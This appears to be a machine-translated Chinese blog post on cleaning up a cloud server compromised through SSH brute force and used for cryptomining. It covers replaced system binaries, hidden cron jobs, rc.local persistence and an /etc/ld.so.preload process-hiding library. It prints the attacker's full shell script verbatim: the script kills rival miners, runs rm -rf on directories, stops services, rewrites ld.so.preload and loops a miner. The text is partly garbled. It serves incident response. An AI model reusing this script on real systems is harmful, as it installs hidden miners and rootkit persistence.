分享服务器被入侵的处理过程
在下文中,锁定文件和目录意味着给文件和目录添加一些属性,比如只读。chattr +ia
一、服务器入侵现象
最近一个朋友的服务器(自己的网站)好像被入侵了。具体现象就是服务器的CPU资源长期100%,负载高。以上服务无法正常提供服务。
处理了一段时间,朋友也没解决。我开始想说我不是搞安保的。我怎么会?但是朋友开出了天价,我在生活和现实面前低下了头。我开始关注它了。
二、服务器排查和处理
2.1.服务器入侵的可能原因
服务器 ssh 密码 设置得很简单。腾讯云安全组范围放得很大。使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。2.2、故障排除及处理步骤
Ps -ef/top找出占用进程最大的服务。
问题现象
ps/top命令已被替换。
寻找详细的入侵跟踪last或grep & # 39接受& # 39;/var/log/secure .
问题现象
[root @ VM-12-12-centos ~]# grep & # 39;接受& # 39;
/var/log/secure8月26日21:51:37 VM-12-12-centos sshd[19822]:来自34.215.138.2端口36720 ssh 2
8月27日08:52:05 VM-12-12-centos sshd[3053]:来自127.0.0.1端口57534 ssh2的可接受的root密码
:从127.0.0.1端口57690 ssh 2
8月27日09:34:22 VM-12-12-centos sshd[29150]:从106.55.203.55端口38044 ssh 2:RSA sha 256:123456/uibl 8
8月27日09:34:23 VM-12-12-centos sshd[29233]:接受灯塔的公钥
灯塔腾讯云轻量级服务器
我们在这里可以看到一些海外的IP 34.215.138.2已经成功登录,而这些IP并不是我们正常登录的。在/var/log/secure日志中,我看到IP 34.215.138.2在尝试登录不到500次后被成功破解。
处理措施
我们立即在这里迈出了第一步,
在腾讯云安全组限制了 SSH 的登录IP, 之前的安全组 SSH 是放行所有IP。将 SSH ROOT 密码修改。/root/.ssh/authorized_keys 备份,并清空。[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak': Permission denied这时候我们就遇到了权限的问题。这个以后再讨论,因为我们已经限制了源IP,所以这个可以以后再处理。
3.查看一些新添加的用户。
问题现象
cat /etc/passwd处理措施
用户锁定
[root@VM-12-12-centos ~]# usermod -L sys14.我正在尝试找到这里的进程(我已经在构建一个相同版本的新系统来复制top和ps命令,这需要一点时间。就趁这个时间先看看其他的),因为我朋友之前重启过服务器,发现过一会儿服务器就会出现高负载。我认为入侵者应该在里面放一些定时任务和启动脚本。
问题现象
定时任务
Crond读取配置文件从以下路径读取:
/var/spool/cron/, 由crontab -e进行写入,配置文件无需指定用户/etc/crontab,只能root进行编辑,配置文件需指定用户/etc/cron.d/,在此文件夹下创建定时任务文件,配置文件需指定用户/etc/cron.*/var/spool/cron/未找到(后面会说这里有烟幕)
/etc/crontab没有找到(我们稍后会在这里讨论烟幕)
但是我一直在/var/log/cron里看到任务。每5分钟一次。
8月27日22:00:01 VM-12-12-centos CROND[16839]:(root)CMD(/sbin/httpss & gt;/dev/null 2 & gt;& amp1;^m
[/div][/div][/div][/div][/div][/div][/div]8月27日22:00:01 VM-12-12-centos CROND[16842]:(root)CMD(/usr/lib/MySQL/MySQL;^mno crontab for root[div]
8月27日22:05:01 VM-12-12-centos CROND[17486]:(root)CMD(/usr/lib/MySQL/MySQL;^mno crontab for root
[/div][/div][/div][/div][/div][//dev/null 2 & gt;& amp1;^m[/div][/div][/div][/div][/div][/div][/div]处理措施
这里我们做的第一件事就是删除/usr/lib/mysql/mysql和/sbin/httpss。删除时,仍会提示您没有权限。我们知道这些文件应该被加密,所以我开始解锁它们,我们发现chattr也被替换和锁定了。所以不能再操作了。
引导脚本
/etc/rc.local,我们还发现了一个脚本。
[root @ VM-12-12-centos ~]# cat/etc/RC . local[div]
#!/bin/bash
#添加该文件是为了兼容
#
#强烈建议创建自己的systemd服务或udev规则
#以在引导期间运行脚本,而不是使用该文件。
#
#与以前的版本不同,由于在启动期间并行执行
#此脚本将不会在所有其他服务之后运行。
#
#请注意,您必须运行& # 39;chmod+x/etc/RC . d/RC . local & # 39;以确保
#该脚本将在启动期间执行。
/usr/bin/0f4f80f9ab start
但是这个文件好像不存在,所以我们对此进行了评论。
5.恢复和更改top,ps,chattr,lsattr。
首先我们从相同版本的机器拷贝了 chattr、lsattr, 我们得先操作这个, 因为我们的 top 和 ps 都被锁住了。我将文件上传至 /tmp 目录,然后增加可执行权限,然后先给 /usr/bin/chattr 解除锁定。/tmp/chattr -ai /usr/bin/chattr执行完之后,发现还是不能替换 /usr/bin/chattr。 最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。解锁目录/tmp/chattr -ai /usr/bin/这下才能把 /usr/bin/chattr 给替换掉。接下来参考这些,我们把 top 和 ps 、lsattr 给还原了。部分截图
三、本次入侵需要带来启示的点
ps、top、chattr、lsattr
当这些命令被替换后,我们想恢复它们,但我们不能,我们可以复制同一版本机器的相同命令并将其放在其他目录中,并使用这些命令解锁入侵者,替换它们并锁定文件。请注意,一些入侵者不仅会锁定文件级,还会锁定当前文件的目录级。之前有一段时间我对这个很迷茫。
文件内容隐藏
在上面,我执行了crontab -l和cat来查看/etc/cron.d/下面的文件。发现该文件没有内容。
其实我也不知道用了什么特殊字符或者隐藏了什么。其实是有预定任务的。
示例:
这个配置是怎么让cat/more看不懂的?今天又看了一遍,这个文件可能算是数据文件,因为我查了这个文件file之后,文件属性是数据。则该文件包含特殊字符。它是隐藏的。你可以告诉我。
其中一个剧本。
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone我们可以看到这个脚本实际上一直在改变/etc/ld.so.preload .的内容,并关闭了一些扫描软件和系统服务。
在加载Linux操作系统动态链接库的过程中,动态链接器会读取LD_PRELOAD环境变量的值和默认配置文件/etc/ld.so.preload的内容,并将读取的动态链接库预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库仍然会被加载。它们的优先级高于LD_LIBRARY_PATH环境变量定义的链接库搜索路径的文件优先级,所以可以在用户调用的动态库之前加载。
& mdash& mdash段落引自《谨防利用Linux预装恶意动态链接库的后门》
我已经删除了文件/usr/local/lib/libprocesshider . so,然后每次执行命令都会得到这个错误。
在我清空空文件/etc/ld.so.preload之后,发现过了一段时间,这个还是出现了。我看了一下/etc/ld.so.preload文件,里面写的是/usr/local/lib/libprocesshider . so。我怀疑还有预定的任务,但是我找了一段时间。后来看异常过程的时候看到了这个过程。
发现这个脚本的是它一直在循环执行上面的内容。终止该进程,然后删除脚本。
四、本次服务器被入侵的一些启示
用好云厂家的安全组。对一些关键端口,放行规则尽量最小/服务器相关的一些密码尽量增加复杂性。增加对一些关键文件的监控. (通过监控软件监控 md5值)/etc/passwd/etc/shadow/etc/group/root/.bash_history/root/.ssh/authorized_keys/etc/ssh/sshd_config/etc/profile/var/spool/cron/root/etc/crontab/etc/ld.so.preload/etc/rc.locallsofpsnetstattoplspstreelasthistorysudopasswordchattrlsattr4.服务器被入侵后,我们需要做的是最好的。
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm? SPM = a2c4g . 11186623 . 0 . 0 . 75 c 56956 nvpbst
1.如果服务器已经开放SSH远程登录,您可以设置受限登录(安全组或服务)并且只释放您自己的IP。寻找详细的入侵跟踪last或grep & # 39接受& # 39;/var/log/secure
/root/。ssh/authorized _ keys/etc/passwd这些文件也可以查看。锁定一些新创建的用户。
2.如果服务器可以关闭外网,就关闭外网。在安全组级别设置下,路由或NAT。
3.首先看ps/top命令是否被篡改。如果有,从其他正常机器复制到服务器。然后执行查看例外的流程。还要检查/etc/ld.so.preload是否被篡改。如果是这样,记得清除空的内容,然后删除或重命名相应的文件。
如果文件在使用过程中无法删除或更改,则需要使用chattr -ia文件名。如果chattr也被更改,您需要从另一台机器上复制它。然后恢复。
4.如果没有发现以上情况,可以通过netstat间接检查异常连接,查询异常进程。
5.检查与启动和crontab相关的内容。
6.检查异常过程。
那就是处理这次入侵的过程和一些小的启示。如果你知道新的东西,你会继续补充。
关于共享服务器入侵处理的这篇文章到此为止。关于服务器入侵处理的更多信息,请搜索脚本之家之前的文章或者继续浏览下面的相关文章。希望大家以后多多支持剧本之家!
如果您的问题还未解决可以联系站长付费协助。
有问题可以加入技术QQ群一起交流学习
本站vip会员 请加入无忧模板网 VIP群(50604020) PS:加入时备注用户名或昵称
普通注册会员或访客 请加入无忧模板网 技术交流群(50604130)
客服微信号:15898888535
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若内容侵犯了原著者的合法权益,可联系站长删除。